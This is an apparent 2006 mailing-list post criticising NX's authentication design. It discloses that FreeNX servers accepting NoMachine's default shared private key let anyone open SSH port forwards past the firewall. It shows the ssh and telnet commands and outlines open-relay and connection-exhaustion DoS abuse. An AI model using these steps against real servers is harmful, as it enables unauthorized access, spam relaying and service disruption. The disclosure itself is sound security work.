> On Tue, 2006-01-24 at 15:57, Maciej Żenczykowski wrote: > >> I've read through the thread you provided and I'm not convinced. Indeed >> it still seems like a bad design decision to me. Why isn't the normal ssh >> authentication good enough for NX? > > I think the idea was to have a minimally-privileged program that > can't do anything but provide a tunnel. I'm not sure I understand you there - isn't ssh already an encrypted tunnel provider with authorization? What more do we need? >> And if there is some need for a >> different authentication than it should still - also support normal ssh by >> default for all the other cases - like mine - where it's not needed. > > That's probably possible if you want to work at it. Hmm, this would probably be a lot easier for someone who understands the code - and would require modifications to the (nomachine) nxclient as well. > I don't see why all the components of the server couldn't run as you if > you trust them not to delete your files - unless sessions for different > users share a cache of some sort. At least for freenx the server runs as you anyway - if I understand the way the code works - the NX user is used 'only' for authorization. Maybe this has some deeper sense for the NX nomachine server??? And why can't we just have: -- on the server: a) a normal sshd server b) an installed nxserver 'binary' -- on the client: c) a normal ssh client d) an nxclient 'binary' which would call "ssh user at server nxserver" ==OR EVEN== e) a patched ssh client with special commandline switch which would allow "ssh -NX user at server" to allow X forwarding through the NX protocol? FURTHERMORE!!!! THE WAY I SEE IT the FREENX server has a BIG HOLE if using the nomachine standard keys. Does the Nomachine server have the same hole? don't know. private.key contains a privatekey which allows login to nx account - if your server accepts the nomachine standard keys than this is the key distributed with the nomachine nxclient. $ ssh -i private.key -L 1111:localhost:631 Last login: Wed Jan 25 00:35:15 2006 from gaia.ifj.edu.pl 7 -- /var/log/nxserver.log -- HELLO NXSERVER - Version 1.4.0-44 OS (GPL) 7 -- /var/log/nxserver.log -- NX> 105 here we let it be, and in a different terminal $ telnet localhost 1111 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. GET / HTTP/1.1 Host: localhost HTTP/1.1 200 OK Date: Tue, 24 Jan 2006 23:39:32 GMT Server: CUPS/1.1 ...etc... <HTML> <HEAD> <TITLE>Common UNIX Printing System</TITLE> ...etc... Hmm - we're through the firewall! and we can connect to ANY port that the server is allowed to connect to (both on the server and in the local network). We can use this to connect to the SMTP port and send mail as if from localhost - in effect we've an open relay. Is the nomachine server vulnerable? don't know - but the freenx server IS. Furthermore we can cause a DoS - how many open ssh sessions can your computer support before it runs out of resources etc? The "ssh -i private.key nx at server" command can be spawned multiple times and left to idle - there's no decent timeout (at least in freenx, I've had a connection opened for 8 minutes). SSH has a means to protect against too many unauthorized connections - but since these connections are authorized (as user nx), this protection doesn't kick in. In otherwords using default nomachine keys we can burrow a freenx server in authorized idle'ing nx connections - even if they can't do anything they're still wasting resources. (Comments from the thread you recommended seem to suggest the nomachine server is immune to port forwarding, but haven't had the opportunity to test this). Where does the problem come from? It comes from reinventing the wheel... SSH exists. SSH works. SSH is used everywhere to authorize a user to a remote server. NX uses SSH. Why doesn't it use SSH like anybody else, like rsync for example, like sftp, etc? Why does it do it differently. Now, I love NX - the performance is remarkable. I'm writing this mail in CentOS42 pine (from dag) in xterm in gnome in freeNX in nomachine nxclient in twm in X11 in Fedora Core 2. It works awesome. But authorization seems to be messed up - or at least _overcomplicated_. I don't see nx requiring anything ssh doesn't already provide. The way I see it ssh should be extended to accept extra switches: -NX: X forwarding through NX protocol -print: tunnel printer via portforwarding -sound: tunnel sound... ... I think all the stuff to make this a reality already exists - it's just a matter of putting it together now. Now that sounds like a project... Cheers, MaZe.